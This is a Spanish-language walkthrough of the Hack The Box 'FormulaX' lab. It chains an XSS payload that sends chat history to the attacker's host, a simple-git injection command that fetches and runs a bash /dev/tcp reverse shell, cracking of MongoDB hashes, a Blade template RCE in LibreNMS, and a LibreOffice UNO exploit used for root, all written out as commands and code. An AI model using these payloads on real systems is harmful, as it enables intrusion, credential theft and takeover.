Hack The Box: FormulaX Writeup | Hard

Table of Contents

Hack The Box: FormulaX Writeup

TCP Enumeration

1$ rustscan -a 10.129.230.190 --ulimit 5000 -g
210.129.230.190 -> [22,80]
 1$ nmap -p22,80 -sCV 10.129.230.190 -Pn -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-31 18:19 CEST
 3Nmap scan report for 10.129.230.190
 4Host is up (0.038s latency).
 5
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   256 5f:b2:cd:54:e4:47:d1:0e:9e:81:35:92:3c:d6:a3:cb (ECDSA)
10|_  256 b9:f0:0d:dc:05:7b:fa:fb:91:e6:d0:b4:59:e6:db:88 (ED25519)
1180/tcp open  http    nginx 1.18.0 (Ubuntu)
12| http-title: Site doesn't have a title (text/html; charset=UTF-8).
13|_Requested resource was /static/index.html
14|_http-cors: GET POST
15|_http-server-header: nginx/1.18.0 (Ubuntu)
16Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
17
18Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19Nmap done: 1 IP address (1 host up) scanned in 7.93 seconds

UDP Enumeration

No vemos nada abierto por UDP

 1$ sudo nmap --top-ports 1500 10.129.230.190 --min-rate 5000 -n -Pn -sU -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-31 18:20 CEST
 3Nmap scan report for 10.129.230.190
 4Host is up (0.037s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 719998/udp closed unknown
 830465/udp closed unknown
 934861/udp closed unknown
1042508/udp closed candp
1149163/udp closed unknown
1249207/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds

Web Enumeration

1$ whatweb http://10.129.230.190
2http://10.129.230.190 [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.230.190], RedirectLocation[/static/index.html], UncommonHeaders[access-control-allow-origin,access-control-allow-credentials], X-Powered-By[Express], nginx[1.18.0]
3http://10.129.230.190/static/index.html [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.230.190], PasswordField[psw], Script, UncommonHeaders[access-control-allow-origin,access-control-allow-credentials], X-Powered-By[Express], nginx[1.18.0]

Vemos un panel de inicio de sesión. Write-up Image

Después de hacernos una cuenta de usuario, podemos ver que este servicio web ofrece una especie de chatbot. Write-up Image

Si nos damos cuenta, esta es una página estática en html por lo cual por detrás se debe de estar empleando javascript para la comunicación con algún servidor. Write-up Image Y podemos comprobar el uso de websockets.

En el apartado de Contact Us , haciendo unas pruebas podemos ver que se acontece un XSS. Write-up Image

 1 python3 -m http.server 8080
 2Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
 310.129.230.190 - - [31/Jul/2024 18:24:55] code 404, message File not found
 410.129.230.190 - - [31/Jul/2024 18:24:55] "GET /img.png HTTP/1.1" 404 -
 510.129.230.190 - - [31/Jul/2024 18:24:59] code 404, message File not found
 610.129.230.190 - - [31/Jul/2024 18:24:59] "GET /img.png HTTP/1.1" 404 -
 710.129.230.190 - - [31/Jul/2024 18:25:01] code 404, message File not found
 810.129.230.190 - - [31/Jul/2024 18:25:01] "GET /img.png HTTP/1.1" 404 -
 910.129.230.190 - - [31/Jul/2024 18:25:06] code 404, message File not found
1010.129.230.190 - - [31/Jul/2024 18:25:06] "GET /img.png HTTP/1.1" 404 -
1110.129.230.190 - - [31/Jul/2024 18:25:08] code 404, message File not found
1210.129.230.190 - - [31/Jul/2024 18:25:08] "GET /img.png HTTP/1.1" 404 -

No podemos hacer un Cookie hijacking ya que está activado el HttpOnly Write-up Image

Después de investigar un rato, me dió por fuzzear el sitio web ya que todavía no lo había hecho.

 1$ feroxbuster -u http://10.129.230.190 -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt 
 2                                                                                          
 3 ___  ___  __   __     __      __         __   ___
 4|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
 5|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
 6by Ben "epi" Risher 🤓                 ver: 2.10.4
 7───────────────────────────┬──────────────────────
 8 🎯  Target Url            │ http://10.129.230.190
 9 🚀  Threads               │ 50
10 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌  Status Codes          │ All Status Codes!
12 💥  Timeout (secs)        │ 7
13 🦡  User-Agent            │ feroxbuster/2.10.4
14 🔎  Extract Links         │ true
15 🏁  HTTP methods          │ [GET]
16 🔃  Recursion Depth       │ 4
17───────────────────────────┴──────────────────────
18 🏁  Press [ENTER] to use the Scan Management Menu™
19──────────────────────────────────────────────────
20404      GET       10l       15w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
21302      GET        1l        4w       40c http://10.129.230.190/ => http://10.129.230.190/static/index.html
22301      GET       10l       16w      173c http://10.129.230.190/img => http://10.129.230.190/img/
23200      GET        1l        3w       46c http://10.129.230.190/contact_us
24200      GET        1l        3w       46c http://10.129.230.190/admin
25301      GET       10l       16w      179c http://10.129.230.190/static => http://10.129.230.190/static/
26301      GET       10l       16w      181c http://10.129.230.190/scripts => http://10.129.230.190/scripts/
27200      GET        1l        3w       46c http://10.129.230.190/chat
28200      GET        1l        3w       46c http://10.129.230.190/logout
29200      GET        1l        3w       46c http://10.129.230.190/Contact_Us
30301      GET       10l       16w      181c http://10.129.230.190/Scripts => http://10.129.230.190/Scripts/
31200      GET        1l        3w       46c http://10.129.230.190/Chat
32301      GET       10l       16w      187c http://10.129.230.190/restricted => http://10.129.230.190/restricted/
33200      GET        1l        3w       46c http://10.129.230.190/Admin
34[>-------------------] - 49s    35083/1323280 35m     found:13      errors:0

Information Leakage via XSS

Y al ver el directorio Scripts recordé el chatbot que existía y el comando help que este tiene para recuperar el historial de comandos. Quizá puedo aprovecharme del XSS para inyectar una comunicación entre el chatbot y el usuario víctima para recuperar su historial y obtener información privilegiada.

Localicé que el script socket.io.js en http://10.129.230.190/socket.io/socket.io.js

Por lo cual podría simplemente inyectar este script y realizar la comunicación. Pero antes, tengo que ver como se realiza la comunicación desde el cliente.

Encontramos el script chat.js http://10.129.230.190/restricted/chat.js

Y vemos este apartado

 1let value;
 2const res = axios.get(`/user/api/chat`);
 3const socket = io('/',{withCredentials: true});
 4
 5
 6//listening for the messages
 7socket.on('message', (my_message) => {
 8
 9  //console.log("Received From Server: " + my_message)
10  Show_messages_on_screen_of_Server(my_message)
11
12})

Esto lo hago para hacerme una idea ya que no había trabajado con websockets antes.

Ahora, tengo que refinar el XSS para poder cargar un archivo javascript malicioso, por ahora este va a ser el archivo.

1$ cat evil.js 
2fetch("http://10.10.14.71:8081/injected")

Después de hacer unas pruebas en local..

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
3127.0.0.1 - - [31/Jul/2024 18:46:37] "GET /test.html HTTP/1.1" 200 -
4127.0.0.1 - - [31/Jul/2024 18:46:37] "GET / HTTP/1.1" 200 -
5127.0.0.1 - - [31/Jul/2024 18:46:37] code 404, message File not found
6127.0.0.1 - - [31/Jul/2024 18:46:37] "GET /favicon.ico HTTP/1.1" 404 -
710.10.14.71 - - [31/Jul/2024 18:46:37] "GET /evil.js HTTP/1.1" 200 -

Este es mi payload final

1└──╼ [★]$ cat test.html 
2<IMG SRC="/" onerror="
3  var script = document.createElement('script');
4  script.src = 'http://10.10.14.71:8081/evil.js';
5  document.head.appendChild(script);
6">

Y perfecto, ahora solo falta hacer el código javascript malicioso. Write-up Image

Podemos interceptar una petición de mensaje con burpsuite para hacernos una mejor idea de como se tramita el mensaje por detrás. Write-up Image

Después de probar un rato…

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.230.190 - - [31/Jul/2024 19:18:34] "GET /evil.js HTTP/1.1" 200 -
410.129.230.190 - - [31/Jul/2024 19:18:34] code 501, message Unsupported method ('OPTIONS')
510.129.230.190 - - [31/Jul/2024 19:18:34] "OPTIONS /injected HTTP/1.1" 501 -
610.129.230.190 - - [31/Jul/2024 19:18:34] code 501, message Unsupported method ('OPTIONS')
710.129.230.190 - - [31/Jul/2024 19:18:34] "OPTIONS /loadedd HTTP/1.1" 501 -
810.129.230.190 - - [31/Jul/2024 19:18:34] code 501, message Unsupported method ('OPTIONS')
910.129.230.190 - - [31/Jul/2024 19:18:34] "OPTIONS /?q=Greetings!.%20How%20can%20i%20help%20you%20today%20?.%20You%20can%20type%20help%20to%20see%20some%20buildin%20commands HTTP/1.1" 501 -

Este es el archivo evil.js

 1$ cat evil.js 
 2fetch("http://10.10.14.71:8081/injected")
 3
 4// Incluimos el socket.io.js ya que en principio no está incluido.
 5const script = document.createElement("script")
 6script.src = "http://10.129.230.190/socket.io/socket.io.js"
 7document.head.appendChild(script)
 8
 9// Esperamos a que carge el script......
10script.addEventListener('load', function() {
11	fetch("http://10.10.14.71:8081/loadedd")
12	const res = fetch('/user/api/chat'); // No se si está la libreria de axios inyectada ya
13	const socket = io('/',{withCredentials: true});
14	socket.on('message', (msg) => {
15		fetch("http://10.10.14.71:8081/?q=" + msg)
16	});
17	socket.emit('client_message', 'help');
18});

Vamos a hacer un par de retoques finales, primero vamos a codificar en base64 la respuesta para poder verla mas cómoda.

Modificamos la linea fetch("http://10.10.14.71:8081/?q=" + msg) por fetch("http://10.10.14.71:8081/?q=" + btoa(msg))

Y la linea socket.emit('client_message', 'help') por socket.emit('client_message', 'history') ya que lo que queremos es ver el historial del usuario.

Y recibimos la siguiente data

 1$ python3 -m http.server 8081
 2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
 310.129.230.190 - - [31/Jul/2024 19:22:40] "GET /evil.js HTTP/1.1" 200 -
 410.129.230.190 - - [31/Jul/2024 19:22:40] code 501, message Unsupported method ('OPTIONS')
 510.129.230.190 - - [31/Jul/2024 19:22:40] "OPTIONS /injected HTTP/1.1" 501 -
 610.129.230.190 - - [31/Jul/2024 19:22:40] code 501, message Unsupported method ('OPTIONS')
 710.129.230.190 - - [31/Jul/2024 19:22:40] "OPTIONS /loadedd HTTP/1.1" 501 -
 810.129.230.190 - - [31/Jul/2024 19:22:40] code 501, message Unsupported method ('OPTIONS')
 910.129.230.190 - - [31/Jul/2024 19:22:40] "OPTIONS /?d=SGVsbG8sIEkgYW0gQWRtaW4uVGVzdGluZyB0aGUgQ2hhdCBBcHBsaWNhdGlvbg== HTTP/1.1" 501 -
1010.129.230.190 - - [31/Jul/2024 19:22:40] code 501, message Unsupported method ('OPTIONS')
1110.129.230.190 - - [31/Jul/2024 19:22:40] "OPTIONS /?d=R3JlZXRpbmdzIS4gSG93IGNhbiBpIGhlbHAgeW91IHRvZGF5ID8uIFlvdSBjYW4gdHlwZSBoZWxwIHRvIHNlZSBzb21lIGJ1aWxkaW4gY29tbWFuZHM= HTTP/1.1" 501 -
1210.129.230.190 - - [31/Jul/2024 19:22:40] code 501, message Unsupported method ('OPTIONS')
1310.129.230.190 - - [31/Jul/2024 19:22:40] "OPTIONS /?d=V3JpdGUgYSBzY3JpcHQgZm9yICBkZXYtZ2l0LWF1dG8tdXBkYXRlLmNoYXRib3QuaHRiIHRvIHdvcmsgcHJvcGVybHk= HTTP/1.1" 501 -
1410.129.230.190 - - [31/Jul/2024 19:22:40] code 501, message Unsupported method ('OPTIONS')
1510.129.230.190 - - [31/Jul/2024 19:22:40] "OPTIONS /?d=V3JpdGUgYSBzY3JpcHQgdG8gYXV0b21hdGUgdGhlIGF1dG8tdXBkYXRl HTTP/1.1" 501 -
1610.129.230.190 - - [31/Jul/2024 19:22:40] code 501, message Unsupported method ('OPTIONS')
1710.129.230.190 - - [31/Jul/2024 19:22:40] "OPTIONS /?d=TWVzc2FnZSBTZW50Ojxicj5oaXN0b3J5 HTTP/1.1" 501 -

Decodificando las cadenas podemos ver que hemos descubierto un subdominio. dev-git-auto-update.chatbot.htb Write-up Image

Foothold

Descubrimos otro servicio extra. Write-up Image

Con un vistazo rápido a la página detectamos que se está usando simple-git v3.14 Write-up Image

Y una simple búsqueda en Google nos reporta que tiene una vulnerabilidad de tipo RCE. Lo podemos leer aquí

Write-up Image

¡Y tenemos RCE!

1$ sudo tcpdump icmp -i tun0
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
419:30:29.164331 IP dev-git-auto-update.chatbot.htb > 10.10.14.71: ICMP echo request, id 1, seq 1, length 64
519:30:29.164390 IP 10.10.14.71 > dev-git-auto-update.chatbot.htb: ICMP echo reply, id 1, seq 1, length 64
619:30:30.165628 IP dev-git-auto-update.chatbot.htb > 10.10.14.71: ICMP echo request, id 1, seq 2, length 64
719:30:30.165657 IP 10.10.14.71 > dev-git-auto-update.chatbot.htb: ICMP echo reply, id 1, seq 2, length 64
819:30:31.167686 IP dev-git-auto-update.chatbot.htb > 10.10.14.71: ICMP echo request, id 1, seq 3, length 64
919:30:31.167716 IP 10.10.14.71 > dev-git-auto-update.chatbot.htb: ICMP echo reply, id 1, seq 3, length 64

Nos creamos un rev.sh

1#!/bin/bash
2
3bash -c "bash -i >& /dev/tcp/10.10.14.71/443 0>&1"

Nos ponemos en escucha con netcat y usamos este payload ext::sh -c curl% http://10.10.14.71:8081/rev.sh|bash

User Pivoting 1

Enumerando la máquina víctima nos encontramos que hay una instancia de mongodb. tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN -

Lo podemos ver mediante el comando netstat -tulnp o revisando el archivo .env de la aplicación.

www-data@formulax:~/app$ cat .env
cat .env
PORT = 8082
URL_DATABASE="mongodb://localhost:27017"
SECRET=ThisIsTheN0deSecret
ADMIN_EMAIL="admin@chatbot.htb"

con mongo --shell podemos hacer peticiones mediante el CLI.

Enumerando las Bases de Datos vemos las siguientes

show dbs
admin    0.000GB
config   0.000GB
local    0.000GB
testing  0.000GB

Enumerando las “tablas” (colecciones en mongo), la única que me llaman la atención es messages y users

use admin
switched to db admin
show collections
system.version
use config
switched to db config
show collections
system.sessions
use local
switched to db local
show collections
startup_log
use testing
switched to db testing
show collections
messages
users

La colección de mensajes está vacía pero la de usuarios no.

db.messages.find()

db.users.find()
{ "_id" : ObjectId("648874de313b8717284f457c"), "name" : "admin", "email" : "admin@chatbot.htb", "password" : "$2b$10$VSrvhM/5YGM0uyCeEYf/TuvJzzTz.jDLVJ2QqtumdDoKGSa.6aIC.", "terms" : true, "value" : true, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NDg4NzRkZTMxM2I4NzE3Mjg0ZjQ1N2MiLCJpYXQiOjE3MjI0NDA0MDh9.q_R-YzbX7fuJigMJuVCeuIIlr3WhWPQSwHd5HkU9BYs", "__v" : 0 }
{ "_id" : ObjectId("648874de313b8717284f457d"), "name" : "frank_dorky", "email" : "frank_dorky@chatbot.htb", "password" : "$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6", "terms" : true, "value" : true, "authorization_token" : " ", "__v" : 0 }
{ "_id" : ObjectId("66aa51b7af10999e6470d490"), "name" : "pointed", "email" : "pointed@pointed.com", "password" : "$2b$10$zhNJTJtpGe3/6QILJisd6uednRpMdaTopmes6TCgFL1KFkGQdjdpq", "terms" : true, "value" : false, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NmFhNTFiN2FmMTA5OTllNjQ3MGQ0OTAiLCJpYXQiOjE3MjI0Mzg1NzZ9.EpNX-g0c9erS1XM7BDde8nLVhkDkzhpkoeTBV8fRKug", "__v" : 0 }

Y tenemos hashes que podemos intentar crackear.

Revisando el example-hashes de hashcat. Puede ser un hash bcrypt(sha256($pass)) / bcryptsha256 * Write-up Image

Pero no se encuentra el módulo en hashcat. Write-up Image

Por lo cual antes de descargar nada, probé el otro módulo que podía ser.. bcrypt $2*$, Blowfish (Unix) Write-up Image Consigo crackear el hash correspondiente al usuario frank_dorky , el del usuario administrador no. Write-up Image

Y esta es la password de frank_dorky para acceder por SSH

 1$ ssh frank_dorky@10.129.230.190
 2The authenticity of host '10.129.230.190 (10.129.230.190)' can't be established.
 3ED25519 key fingerprint is SHA256:e0esz1Aos6gxct2ci4LGbCAR6i31EoktxFIvCFF+rcM.
 4This key is not known by any other names.
 5Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
 6Warning: Permanently added '10.129.230.190' (ED25519) to the list of known hosts.
 7frank_dorky@10.129.230.190's password: 
 8Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)
 9
10 * Documentation:  https://help.ubuntu.com
11 * Management:     https://landscape.canonical.com
12 * Support:        https://ubuntu.com/pro
13
14This system has been minimized by removing packages and content that are
15not required on a system that users do not log into.
16
17To restore this content, you can run the 'unminimize' command.
18Last login: Mon Jul 15 13:46:54 2024 from 10.10.14.41
19frank_dorky@formulax:~$

Con este usuario podemos leer la flag user.txt

User Pivoting 2

Pasando el linpeas.sh me he dado cuenta de otro puerto interesante que se me había pasado.

 1╔══════════╣ Active Ports
 2╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
 3tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
 4tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
 5tcp        0      0 127.0.0.1:8082          0.0.0.0:*               LISTEN      -                   
 6tcp        0      0 127.0.0.1:8081          0.0.0.0:*               LISTEN      -                   
 7tcp        0      0 127.0.0.1:42931         0.0.0.0:*               LISTEN      -                   
 8tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
 9tcp        0      0 127.0.0.1:27017         0.0.0.0:*               LISTEN      -                   
10tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
11tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
12tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      - 

En la máquina están abiertos varios puertos que no he revisado. Sabemos que el puerto 8082 corresponde a la aplicación principal, pero no se nada sobre los puertos 8081, 8000 y 3000

En el puerto 8000 vemos lo siguiente y después de enumerar un rato no encuentro nada interesante así que supuse que era un rabbit hole. Write-up Image

Y en el puerto 8081 nos damos cuenta de que es el servicio que hemos explotado anteriormente. Write-up Image

Así que ahora hacemos el port forwarding al puerto 3000 $ sshpass -p 'manchesterunited' ssh -L 3000:127.0.0.1:3000 frank_dorky@10.129.230.190

Y vemos un CMS llamado LibreNMS y las credenciales encontradas para el usuario frank_dorky son válidas. Write-up Image

Encontramos varias vulnerabilidades para LibreNMS. La que mas me llamó la atención fue esta pero es para una versión mas antigua.

Inspeccionando otros exploits me di cuenta de una ruta en especifico. Write-up Image

A la cual no tenía permisos para acceder, así que supuse que frank_dorky es un usuario de bajos privilegios en este panel. Write-up Image

Investigando un poco sobre como podría añadir un usuario administrador, me encontré con este post

Ahora solo necesito saber donde está el archivo adduser.php

Un poco oculto pero encontré el archivo..

1rank_dorky@formulax:/opt/librenms$ ls
2ls: cannot open directory '.': Permission denied
3frank_dorky@formulax:/opt/librenms$ ls -l adduser.php
4-rwxr-xr-x 1 librenms librenms 956 Oct 18  2022 adduser.php

Por lo cual añadí al usuario

1ky@formulax:/opt/librenms$ ./adduser.php pointed pointed 10
2User pointed added successfully

Y ahora sí que pude acceder a las funciones restringidas para administradores del CMS. Write-up Image

Tras buscar mas y mas, encontré este otro post

Donde se habla de un XSS que podría elevarse a un RCE, a mí solo me importa la parte del RCE.

The impact of this vulnerability is greatly increased due to a feature called Alert Templates. This feature allows administrators to create custom templates that will be populated with specific values when an alert occurs.


The template engine used for this feature is Blade. The user-provided custom templates are rendered inline by using the Blade::render method:


librenms/includes/html/forms/alert-templates.inc.php

<?php
Blade::render($vars['template']);

Attackers with the ability to control the value passed to this method can directly gain code execution. This is due to the fact that Blade templates allow executing arbitrary PHP code via the @php directive:


@php
  system("id>/tmp/pwned");
@endphp

Por lo cual nos dirigimos a Alert Templates Write-up Image

Creamos una plantilla maliciosa.. Write-up Image

Al intentar agregar la plantilla se quedaba colgado, así que revisando la consola del navegador, descubro un subdominio que debo de agregar al /etc/hosts Write-up Image

1$ cat /etc/hosts
2# Host addresses
3127.0.0.1  localhost librenms.com

Ahora, accediendo con el dominio correcto, sí me deja crear la plantilla maliciosa. Write-up Image

Y ganamos acceso como librenms

1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.71] from (UNKNOWN) [10.129.230.190] 57972
4bash: cannot set terminal process group (970): Inappropriate ioctl for device
5bash: no job control in this shell
6librenms@formulax:~$ 

Revisando las variables de entorno de la aplicación vemos lo siguiente

1DB_USERNAME=kai_relay
2DB_PASSWORD=mychemic...

Esta credencial es la del usuario kai_relay

Privilege Escalation

1kai_relay@formulax:~$ sudo -l
2Matching Defaults entries for kai_relay on forumlax:
3    env_reset, timestamp_timeout=0, mail_badpass,
4    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
5    use_pty, env_reset, timestamp_timeout=0
6
7User kai_relay may run the following commands on forumlax:
8    (ALL) NOPASSWD: /usr/bin/office.sh

Podemos ejecutar como cualquier usuario, root incluido, el script /usr/bin/office.sh

Analizando este script

1kai_relay@formulax:~$ cat /usr/bin/office.sh
2#!/bin/bash
3/usr/bin/soffice --calc --accept="socket,host=localhost,port=2002;urp;" --norestore --nologo --nodefault --headless

Este script inicia LibreOffice Calc en modo sin cabeza, aceptando conexiones de clientes a través de un socket en localhost en el puerto 2002, y desactiva diversas funcionalidades como la restauración de documentos, la pantalla de inicio y la apertura de documentos por defecto.

Este script tampoco nos sirve de mucho pero si hacemos una búsqueda en Google… Write-up Image

Nos descargamos el exploit.

 1 searchsploit -m multiple/remote/46544.py
 2  Exploit: Apache UNO / LibreOffice Version: 6.1.2 / OpenOffice 4.1.6 API - Remote Code Execution
 3      URL: https://www.exploit-db.com/exploits/46544
 4     Path: /opt/exploitdb/exploits/multiple/remote/46544.py
 5    Codes: N/A
 6 Verified: False
 7File Type: Python script, ASCII text executable
 8Copied to: /home/pointedsec/Desktop/formulax/exploits/46544.py
 9
10
11┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/formulax/exploits]
12└──╼ [★]$ mv 46544.py rce.py

Modificamos el exploit para asignar el permiso de SUID al binario/bin/bash. Write-up Image

Ahora nos pasamos el exploit a la máquina víctima.

Ejecutamos el script como sudo para establecer la conexión y poder conectarnos al socket para realizar la explotación.

1kai_relay@formulax:/tmp$ sudo /usr/bin/office.sh

Y ahora como cualquier usuario (ya tenía abierta una terminal como frank_dorky, no hace falta ejecutar el exploit como kai_relay)

1rank_dorky@formulax:/tmp$ python3 rce.py --host 127.0.0.1 --port 2002
2[+] Connecting to target...
3[+] Connected to 127.0.0.1

Y vemos lo siguiente en la otra terminal donde estamos ejecutando el script. Write-up Image

Vamos a cambiar el exploit de nuevo y vamos a especificar que queremos que ejecute un archivo en bash que vamos a crear ahora mismo.

Write-up Image

Le asignamos permisos de ejecución kai_relay@formulax:/tmp$ chmod +x pwn.sh

Modificamos el exploit de nuevo..

1shell_execute.execute("/tmp/pwn.sh", '',1)

Ahora al lanzar el exploit…

1frank_dorky@formulax:/tmp$ python3 rce.py --host 127.0.0.1 --port 2002
2[+] Connecting to target...
3[+] Connected to 127.0.0.1

No nos muestra nada por la otra terminal… Write-up Image

Y ya vemos que se ha asignado el permiso SUID a la bash. Write-up Image

1frank_dorky@formulax:/tmp$ bash -p
2bash-5.1# id
3uid=1002(frank_dorky) gid=1002(frank_dorky) euid=0(root) groups=1002(frank_dorky)

¡Y ya hemos escalado privilegios!

1bash-5.1# cat /root/root.txt
204da1f3886a9...

Happy Hacking! 🚀

#HackTheBox   #FormulaX   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #XSS   #Abusing Web Sockets   #Abusing LibreOffice Socket   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Abusing Simple-Git   #Abusing MongoDB   #Password Cracking   #Port Forwarding   #User Pivoting   #Creating Admin Account in LibreNMS   #Abusing LibreNMS   #Credentials Reuse   #Linux